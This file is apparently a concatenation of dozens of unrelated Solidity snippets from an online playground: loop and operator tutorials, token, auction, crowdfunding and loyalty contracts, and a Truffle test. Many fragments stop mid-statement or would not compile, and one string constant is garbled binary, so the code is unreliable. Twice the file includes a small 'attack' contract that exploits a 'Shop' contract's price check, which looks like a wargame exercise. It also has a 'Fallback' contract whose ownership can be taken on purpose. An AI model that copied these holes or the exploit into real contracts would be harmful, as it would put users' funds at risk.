data.push(i);
}
return data;
}
// Solidity program to
// demonstrate the use of
// 'Do-While loop'
pragma solidity ^0.4.18;
// Creating a contract
contract Types {
// Declaring a dynamic array
uint[] data;
// Declaring state variable
uint8 j = 0;
// Defining function to demonstrate
// 'Do-While loop'
function loop(
) public returns(uint[] memory){
do{
j++;
data.push(j);
}while(j < 5) ;
return data;
}
// Solidity program to
// demonstrate the use
// of 'While loop'
pragma solidity ^0.4.18;
// Creating a contract
contract Types {
// Declaring a dynamic array
uint[] data;
// Declaring state variable
uint8 j = 0;
// Defining a function to
// demonstrate While loop'
function loop(
) public returns(uint[] memory){
while(j < 5) {
j++;
data.push(j);
}
return data;
}
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest{
// Defining function to demonstrate
// conditional operator
function sub( uint a, uint b) public view returns( uint){
uint result = (a > b? a-b : b-a);
return result;
}
}
// Solidity program to demonstrate
// Assignment Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest {
// Declaring variables
uint16 public assignment = 20;
uint public assignment_add = 50;
uint public assign_sub = 50;
uint public assign_mul = 10;
uint public assign_div = 50;
uint public assign_mod = 32;
// Defining function to
// demonstrate Assignment Operator
function getResult() public{
assignment_add += 10;
assign_sub -= 20;
assign_mul *= 10;
assign_div /= 10;
assign_mod %= 20;
return ;
}
}
// Solidity program to demonstrate
// Bitwise Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest {
// Declaring variables
uint16 public a = 20;
uint16 public b = 10;
// Initializing a variable
// to '&' value
uint16 public and = a & b;
// Initializing a variable
// to '|' value
uint16 public or = a | b;
// Initializing a variable
// to '^' value
uint16 public xor = a ^ b;
// Initializing a variable
// to '<<' value
uint16 public leftshift = a << b;
// Initializing a variable
// to '>>' value
uint16 public rightshift = a >> b;
// Initializing a variable
// to '~' value
uint16 public not = ~a ;
}
// Solidity program to demonstrate
// Logical Operators
pragma solidity ^0.4.18;
// Creating a contract
contract logicalOperator{
// Defining function to demonstrate
// Logical operator
function Logic(
bool a, bool b) public view returns(
bool, bool, bool){
// Logical AND operator
bool and = a&&b;
// Logical OR operator
bool or = a||b;
// Logical NOT operator
bool not = !a;
return (and, or, not);
}
}
// Solidity program to demonstrate
// Relational Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest {
// Declaring variables
uint16 public a = 20;
uint16 public b = 10;
// Initializing a variable
// with bool equal result
bool public eq = a == b;
// Initializing a variable
// with bool not equal result
bool public noteq = a != b;
// Initializing a variable
// with bool greater than result
bool public gtr = a > b;
// Initializing a variable
// with bool less than result
bool public les = a < b;
// Initializing a variable
// with bool greater than equal to result
bool public gtreq = a >= b;
// Initializing a variable
// bool less than equal to result
bool public leseq = a <= b;
}
// Solidity contract to demonstrate
// Arithmetic Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest {
// Initializing variables
uint16 public a = 20;
uint16 public b = 10;
// Initializing a variable
// with sum
uint public sum = a + b;
// Initializing a variable
// with the difference
uint public diff = a - b;
// Initializing a variable
// with product
uint public mul = a * b;
// Initializing a variable
// with quotient
uint public div = a / b;
// Initializing a variable
// with modulus
uint public mod = a % b;
// Initializing a variable
// decrement value
uint public dec = --b;
// Initializing a variable
// with increment value
uint public inc = ++a;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
/*
'########:'##::::'##:'########::::
... ##..:: ##:::: ##: ##.....:::::
::: ##:::: ##:::: ##: ##::::::::::
::: ##:::: #########: ######::::::
::: ##:::: ##.... ##: ##...:::::::
::: ##:::: ##:::: ##: ##::::::::::
::: ##:::: ##:::: ##: ########::::
:::..:::::..:::::..::........:::::
'##::::'##:'########:'########:::'######::'##::::'##:'########::'####::::'###::::'##::: ##:
###::'###: ##.....:: ##.... ##:'##... ##: ##:::: ##: ##.... ##:. ##::::'## ##::: ###:: ##:
####'####: ##::::::: ##:::: ##: ##:::..:: ##:::: ##: ##:::: ##:: ##:::'##:. ##:: ####: ##:
## ### ##: ######::: ########:: ##::::::: ##:::: ##: ########::: ##::'##:::. ##: ## ## ##:
##. #: ##: ##...:::: ##.. ##::: ##::::::: ##:::: ##: ##.. ##:::: ##:: #########: ##. ####:
##:.:: ##: ##::::::: ##::. ##:: ##::: ##: ##:::: ##: ##::. ##::: ##:: ##.... ##: ##:. ###:
##:::: ##: ########: ##:::. ##:. ######::. #######:: ##:::. ##:'####: ##:::: ##: ##::. ##:
..:::::..::........::..:::::..:::......::::.......:::..:::::..::....::..:::::..::..::::..::
'###
pragma solidity ^0.4.24;
contract tbdocs {
address owner;
string public testData;
constructor() public {
owner = msg.sender;
}
function getOwner() public view returns (address) {
return owner;
}
function setTestData(string data) public returns (string) {
testData = data;
return testData;
}
function getTestData() public view returns (string) {
return testData;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
//Post on sigit.co.uk
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
//Post on sigit.co.uk
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract TicTacToe is ERC721 {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
struct Game {
string nonce;
address winner;
}
mapping(address => uint) public tallies;
mapping(bytes => bool) public nonces;
constructor() ERC721("TicTacToe", "TTT"){}
function tally(address _sessionAddress, Game[] memory _games ) public returns (bool) {
// increment counter
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
_safeMint(msg.sender, tokenId);
// check if nonce has been used before
for(uint i; i< _games.length; i++){
if(!nonces[abi.encodePacked(_sessionAddress, _games[i].nonce)]){
nonces[abi.encodePacked(_sessionAddress, _games[i].nonce)] = true;
if(_game
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
contract AlchemyItems is ERC1155 {
uint256 public constant GADOLINIUM = 0;
uint256 public constant DUBNIUM = 1;
uint256 public constant COBALT = 2;
constructor() public ERC1155("https://bafybeibpng4jmkqgool7btiqdhvkvv3vork6tk7gw433vpe3uz6s7pf6k4.ipfs.nftstorage.link/{id}.json") {
_mint(address(this), GADOLINIUM, 64, "");
_mint(address(this), DUBNIUM, 105, "");
_mint(address(this), COBALT, 6720, "");
}
function claim(address _address, uint _id) public returns (bool) {
ERC1155(this).safeTransferFrom(address(this), _address, _id, 1, "");
return true;
}
pragma solidity 0.4.26;
contract CrowdFunding {
uint256 public fundingGoal;
uint256 public raisedAmount = 0;
uint256 public deadline;
uint256 public price;
address public beneficiary;
mapping(address => uint256) public balanceOf;
bool public fundingGoalReached = false;
bool public crowdsaleClosed = false;
/* events that will be fired on changes */
event GoalReached(address recipient, uint256 totalAmountRaised);
event FundTransfer(address backer, uint256 amount, bool isContribution);
/* initialization function */
constructor(uint256 _fundingGoal, uint256 _durationInMinutes, uint256 _price, address _beneficiary) public {
fundingGoal = _fundingGoal * 1 ether;
deadline = now + (_durationInMinutes * 1 minutes);
price = _price * 1 ether;
beneficiary = _beneficiary;
}
/* The function without name is the default function that is called whenever anyone sends funds to a contract */
function () public payable {
re
pragma solidity ^0.4.18;
contract A {
uint256 c;
function a() external {
c += 5;
}
}
contract B {
uint256 c;
function a() external {
uint256 b = 5;
c += b;
}
}
//Practical No:2
//Aim: Implement and demonstrate the use of the Following Operators.
//1. Arithmetic Operator
// Solidity contract to demonstrate
// Arithmetic Operator
pragma solidity ^0.4.18;
// Creating a contract
contract SolidityTest {
// Initializing variables
uint16 public a = 20;
uint16 public b = 10;
// Initializing a variable
// with sum
uint public sum = a + b;
// Initializing a variable
// with the difference
uint public diff = a - b;
// Initializing a variable
// with product
uint public mul = a * b;
// Initializing a variable
// with quotient
uint public div = a / b;
// Initializing a variable
// with modulus
uint public mod = a % b;
// Initializing a variable
// decrement value
uint public dec = --b;
// Initializing a variable
// with increment value
uint public inc = ++a;
}
pragma solidity ^0.4.17;
contract Auction {
// Data
//Structure to hold details of the item
struct Item {
uint itemId; // id of the item
uint[] itemTokens; //tokens bid in favor of the item
}
//Structure to hold the details of a persons
struct Person {
uint remainingTokens; // tokens remaining with bidder
uint personId; // it serves as tokenId as well
address addr;//address of the bidder
}
mapping(address => Person) tokenDetails; //address to person
Person [4] bidders;//Array containing 4 person objects
Item [3] public items;//Array containing 3 item objects
address[3] public winners;//Array for address of winners
address public beneficiary;//owner of the smart contract
uint bidderCount=0;//counter
//functions
function Auction() public payable{ //constructor
//Part 1 Task 1. Initialize beneficiary with address of smart contract’s owner
/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract ShoreaToken is ERC20{
constructor(uint256initialSupply) ERC20("ShoreaToken", "ST"){
_mint(msg.sender, initialSupply);
}
pragma solidity ^0.4.18;
contract A {
uint256 c;
function a() external {
c += 5;
}
}
contract B {
uint256 c;
function a() external {
uint256 b = 5;
c += b;
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract SolidityTest {
string data = "ȯ´ͰÅ{Örå͢æsçtæͧâxÛ{ÝͭÞ}Ý}ÜͯØ|Ê\"ÅͲÄ\"Ã!ÃͯÂ)¿-ÀͽÀ-À-À;À1Â/¿Ϳ¿/¿/¿ͻ¾ Â ½Ͱ½!½!½Ͳ¹\"¥~´ͯ´~´~´ȦûͧúuùsøͤûsüuûȷWͶY)]'^ͷ^&^&^Ͳ]#d&cͷc'a&aͶa%a&`ͺ^(g(lm'm&lͶk%j$kʹk$k#kͳm!l mͯm~o oͱo!o!nͲn#n#oͳp#r$r͵r%r%rͽn(v)z{(|'{Ͷ{&z&|})*$&ͳ&#%$%\"}{!&ͱ&!&!'ͺ+'5,&ͼ&,%,%ͻ$)\"+!ͻ!+!+!Ϳv&a,X;T&R,RͼR-R-QŞ&Ŝ'VͷW'W'Wȷ(ͷ('('(Ͷ('''(Ⱥ{ͺ{)|){{*z*{ɄbΊe:]6_΄_3a4bɀWͿZ3^5Z΄X8Z4XW2Y0WɊfΌf?d<bΊb9d:fɂba/b0cd2b2bɊaΊb;a;``:a:aɈuΈt8t7t·u8u8uȽ[ͼ\,]-\ͽ\-[-[Ȟã͜âfáfå͙ëlæmãɊŚŚ<Ś;řΊř:ř:ŚȘÿ͖þcĀeă͘ăgāgÿȜā͜ĀmĀlÿ͚þhĂkāțĂ͚ăjĄjĄ͝ĄkĂjĂȟă͟Ăoānā͞ĂmănăȜĆ͜Ćląlą͜ĄkĆkĆɘ:Η9G:F:Ζ;H;H:ȕK͓I_J_L͑OdOdKȈD͇CVDVE͈EXEWDɋYΌZ?Z=XΌY;X;YȽ\"ͽ\".!.!ͽ!\"--\"ɛHΛJMINKΠJJDHEΕFJFKHɢ¿À
Á¿Υ¼½¿ȵ=�
const BiDirectionalPaymentChannel = artifacts.require("BiDirectionalPaymentChannel");
contract("BiDirectionalPaymentChannel", (accounts) => {
let contractInstance;
const users = [accounts[0], accounts[1]];
const balances = [10, 20];
const expiresAt = Math.floor(Date.now() / 1000) + 60; // Expires 60 seconds from now
const challengePeriod = 120;
beforeEach(async () => {
contractInstance = await BiDirectionalPaymentChannel.new(
users,
balances,
expiresAt,
challengePeriod,
{ from: accounts[2], value: 30 }
);
});
it("should set the initial contract state", async () => {
const balance0 = await contractInstance.balances.call(users[0]);
const balan
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SampleOverflow {
string constant statictext = "dee11d4e-63c6-4d90-983c-5c9f1e79e96c";
bytes32 constant byteText = "dee11d4e63c64d90983c5c9f1e79e96c"; //no hypens
function getString() payable public returns(string){
return statictext;
}
function getByte() payable public returns(bytes32){
return byteText;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SampleOverflow {
string constant statictext = "dee11d4e-63c6-4d90-983c-5c9f1e79e96c";
bytes32 constant byteText = "dee11d4e63c64d90983c5c9f1e79e96c";
function getString() payable public returns(string){
return statictext;
}
function getByte() payable public returns(bytes32){
return byteText;
}
contract attack{
Shop shop;
function att()public{
shop=Shop(0xd9145CCE52D386f254917e481eB44e9943F39138);
shop.buy();
}
function price()external view returns (uint){
if(shop.isSold()==false){
return 100;
}
return 99;
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
uint value222;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract BinaryToDecimal{
function loopBinary(string _str) pure public returns(uint) {
bytes memory b = bytes(_str);
uint binaryLength = b.length;
uint result = 0;
for (uint i = 0; i < binaryLength; i++) {
if (uint8(b[binaryLength - i - 1]) == 49) {
result += 2**i;
}
}
return(result);
}
}
contract BitShiftMask{
function bitShiftMask(uint8 _int) pure public returns(uint[]) {
uint[] memory resultArray = new uint[](8);
uint8 mask = 1;
for (uint i = 0; i < 8; i++) {
resultArray[i] = _int & mask;
mask = mask << 1;
}
return(resultArray);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract BinaryToDecimal{
function loopBinary(string _str) pure public returns(uint) {
bytes memory b = bytes(_str);
uint binaryLength = b.length;
uint result = 0;
for (uint i = 0; i < binaryLength; i++) {
if (uint8(b[binaryLength - i - 1]) == 49) {
result += 2**i;
}
}
return(result);
}
}
contract BitShiftMask{
function bitShiftMask(uint8 _int) pure public returns(uint[]) {
uint[] memory resultArray = new uint[](8);
uint8 mask = 1;
for (uint i = 0; i < 8; i++) {
resultArray[i] = _int & mask;
mask = mask << 1;
}
return(resultArray);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract BinaryToDecimal{
function loopBinary(string _str) pure public returns(uint) {
bytes memory b = bytes(_str);
uint binaryLength = b.length;
uint result = 0;
for (uint i = 0; i < binaryLength; i++) {
if (uint8(b[binaryLength - i - 1]) == 49) {
result += 2**i;
}
}
return(result);
}
}
contract BitShiftMask{
uint[] resultArray;
function shiftBit(uint8 _int) pure public returns(uint) {
return (_int & 13);
}
function bitShiftMask(uint8 _int) public returns(uint[]) {
uint8 mask = 1;
for (uint i = 0; i < 8; i++) {
resultArray.push(_int & mask);
mask = mask << 1;
}
return(resultArray);
}
// SPDX-License-Identifier: MIT
// compiler version must be greater than or equal to 0.8.17 and less than 0.9.0
pragma solidity ^0.7.1;
contract HelloWorld {
string public greet = "Hello World!";
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract BinaryToDecimal{
function loopBinary(string _str)
pure
public
returns(uint) {
bytes memory b = bytes(_str);
uint binaryLength = b.length;
uint result = 0;
for (uint i = 0; i < binaryLength; i++) {
if (b[i] == 49) {
result += 2**i;
}
}
return (result);
}
}
pragma solidity ^0.4.18;
contract Test {
function substring(string str, uint startIndex, uint endIndex) public pure returns (string) {
bytes memory strBytes = bytes(str);
bytes memory result = new bytes(endIndex-startIndex);
for(uint i = startIndex; i < endIndex; i++) {
result[i-startIndex] = strBytes[i];
}
return string(result);
}
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract Campaign is ERC20 {
int public currentAmount;
int public goal;
address public creator;
mapping(address => int) public pledges;
event Pledge(address _pledger, int _amount);
event Claim(address _pledger, int _amount);
event Refund(address _pledger, int _amount);
constructor(int _goal) public {
creator = msg.sender;
goal = _goal;
}
function pledge(int _amount) public {
require(msg.sender.transferFrom(msg.sender, address(this), _amount), "Could not pledge tokens.");
pledges[msg.sender] += _amount;
currentAmount += _amount;
emit Pledge(msg.sender, _amount);
}
function claim() public {
require(msg.sender == creator, "You are not the creator so you cannot claim the funds.");
require(currentAmount >= goal, "The goal has not yet been reached!");
require(address(this).transfer(msg.sender, currentAmount), "So
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract Playground {
function compare(string _s1, string _s2)
pure
public
returns(bool) {
bytes memory b1 = bytes(_s1);
bytes memory b2 = bytes(_s2);
if (b1.length != b2.length) {
return false;
}
return keccak256(b1) == keccak256(b2);
}
function calculate(uint256 amount, uint256 bps) public pure returns (uint256) {
return amount * bps / 10000;
}
function concat(string _s1, string _s2)
pure
public
returns(string) {
return string(abi.encodePacked(bytes(_s1), bytes(_s2)));
}
function strLen(string _str)
pure
public
returns(uint) {
bytes memory b = bytes(_str);
return (b.length);
}
function strReplace(string _from, string _what, string _to)
contract Storage {
uint256 a;
uint256 b;
function inefficient(uint256 _a, uint256 _b) external {
a = _a;
b = _b;
}
uint128 c;
uint128 d;
function efficient(uint128 _c, uint128 _d) external {
c = _c;
d = _d;
}
contract attack{
Shop shop;
function att()public{
shop=Shop(0xd9145CCE52D386f254917e481eB44e9943F39138);
shop.buy();
}
function price()external view returns (uint){
if(shop.isSold()==false){
return 100;
}
return 99;
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.7.0;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get123() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.7.0;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get123() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.7.1;
contract SupplyChain {
// Struct pour stocker les informations sur un produit
struct Product {
string name;
uint quantity;
address owner;
}
// Table pour stocker tous les produits
mapping(bytes32 => Product) products;
// Event pour signaler l'ajout d'un produit
event ProductAdded(bytes32 id, string name, uint quantity);
// Fonction pour ajouter un produit
function addProduct(bytes32 id, string memory name, uint quantity) public {
// Vérifier que le produit n'existe pas déjà
require(products[id].name == "");
// Ajouter le produit à la table
products[id] = Product(name, quantity, msg.sender);
// Signaler l'ajout du produit
emit ProductAdded(id, name, quantity);
}
// Fonction pour transférer la propriété d'un produit
function transferProduct(bytes32 id, address newOwner) public {
// Récupérer le produit
Product storage product = products[i
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
//type name=value;
int number =-20;
//256 bit uint unsignedNumber=50;
//numero solo positivo bool boolean=true;
address myAddress=0x2e54bb8BA0A9Df89bF2A04D71221c1A42A2Bb9af;
bytes32 myBytes="name";
string myString="value";
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
import 'Libreria.sol';
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
address public owner;
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
contract Storage2 {
uint128 a = 1;
uint256 b = 2;
function inefficient(uint128 _a) external {
a += _a;
}
function efficient(uint256 _b) external {
b += _b;
}
pragma solidity ^0.8.0;
contract ERC20Token {
// Token name, symbol, and total supply
string public name;
string public symbol;
uint256 public totalSupply;
// Mapping from addresses to their token balance
mapping(address => uint256) public balanceOf;
// Event for when tokens are transferred
event Transfer(address indexed from, address indexed to, uint256 value);
// Transfer token function
function transfer(address _to, uint256 _value) public {
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
}
}
contract Governance {
// ERC20 token contract address
ERC20Token public token;
// Mapping from proposal ID to proposal details
mapping(uint256 => Proposal) public proposals;
// Mapping from proposal ID to the total token weight of votes for and against
mapping(uin
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/PullPayment.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract DApping is ERC 721, Ownable, PullPayment, AccessControl, ERC721URIStorage, Counters {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
string public name;
uint public postCount = 0;
mapping(uint => Post) public posts;
struct Post {
uint id;
string content;
uint tipAmount;
address payable _author;
}
event PostCreated(
uint id,
string content,
uint tipAmount,
address payable author
);
event PostTipp
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the dec
pragma solidity ^0.7.1;
import "https://github.com/AVAXFoundation/Ava.sol";
// This is the contract for the CCPR token
// Define the contract interface
interface Token {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function stake(uint256 value) external returns (bool);
function swap(uint256 value) external returns (bool);
function burn(uint256 value) external returns (bool);
}
// Define the contract
contract CCPR is Token {
// Set the initial values for the token
string public name = "Cannacoin Prime";
string public symbol = "CCPR";
uint8 public decimals = 18; // This sets the number of decimal places to 18
uint256 public totalSupply = 314159265
0x5B38Da6s701c568545dCfcB03Fcb875f56beddC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.5.0;
contract AdvancedToken {
// Declare the name, symbol, and decimals of the token
string public name = "Advanced Token";
string public symbol = "AT";
uint8 public decimals = 18;
// Declare the total supply of the token
uint256 public totalSupply;
// Mapping of users to their token balances
mapping(address => uint256) public balances;
// Mapping of users to their allowance of tokens that they have granted to other users
mapping(address => mapping(address => uint256)) public allowances;
// Event to be emitted when a transfer is made
event Transfer(address indexed from, address indexed to, uint256 value);
// Event to be emitted when an allowance is granted or updated
event Approval(address indexed owner, address indexed spender, uint256 value);
// Constructor function to initialize the total supply and assign all tokens to the contract ow
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.11;
pragma abicoder v2;
contract LoyaltyExchange{
//company balances are stored in finney.
uint constant welcome_bonus = .01 ether;
string[] private temp_users;
struct User{
string name;
address user_wallet;
string email;
uint balance;
}
mapping(address => User) private users;
address[] public userAddresses;
//User struct uses the mapping methodology to be linked with address of users.
struct Company{
string company_name;
address company_wallet;
}
mapping(address => Company) private companies;
address[] public companyAddresses;
struct CashbackLog{
uint amount;
address receiver;
address sender;
string cashback_id;
}
mapping(string => CashbackLog) private cashbackLogs;
string[] public cashbakLogIds;
//Includes .01 ether welcome bonus
//individual registering minimum cost is 0.1 ether.
fu
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
pragma abicoder v2;
contract LoyaltyExchange{
//company balances are stored in finney.
uint constant welcome_bonus = .01 ether;
string[] private temp_users;
struct User{
string name;
address user_wallet;
string email;
uint balance;
}
mapping(address => User) private users;
address[] public userAddresses;
//User struct uses the mapping methodology to be linked with address of users.
struct Company{
string company_name;
address company_wallet;
}
mapping(address => Company) private companies;
address[] public companyAddresses;
struct CashbackLog{
uint amount;
address receiver;
address sender;
string cashback_id;
}
mapping(string => CashbackLog) private cashbackLogs;
string[] public cashbakLogIds;
//Includes .01 ether welcome bonus
//individual registering minimum cost is 0.1 ether.
fun
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens
/**
*Submitted for verification at BscScan.com on 2022-10-27
*/
/**
*Submitted for verification at BscScan.com on 2022-07-14
*/
/*
Website: https://www.1amd.co/
Contract Name: Free Speech
Instagram: https://www.instagram.com/1amdtoken
Twitter: https://twitter.com/1amdtoken
Telegram: https://t.me/FreeSpeechToken
Contract Supply: 100,000,000
Contract Tokenomics:
2% Team.
1% Liquidity.
2% Marketing.
5% Total Tax
*/
//SPDX-License-Identifier:Unlicensed
pragma solidity 0.8.17;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract Playground {
function compound()
public
pure
returns (uint256)
{
uint256 compoundedDays = 100;
return (100 * (100+8)**compoundedDays) * 10**(6 - 2 * compoundedDays);
}
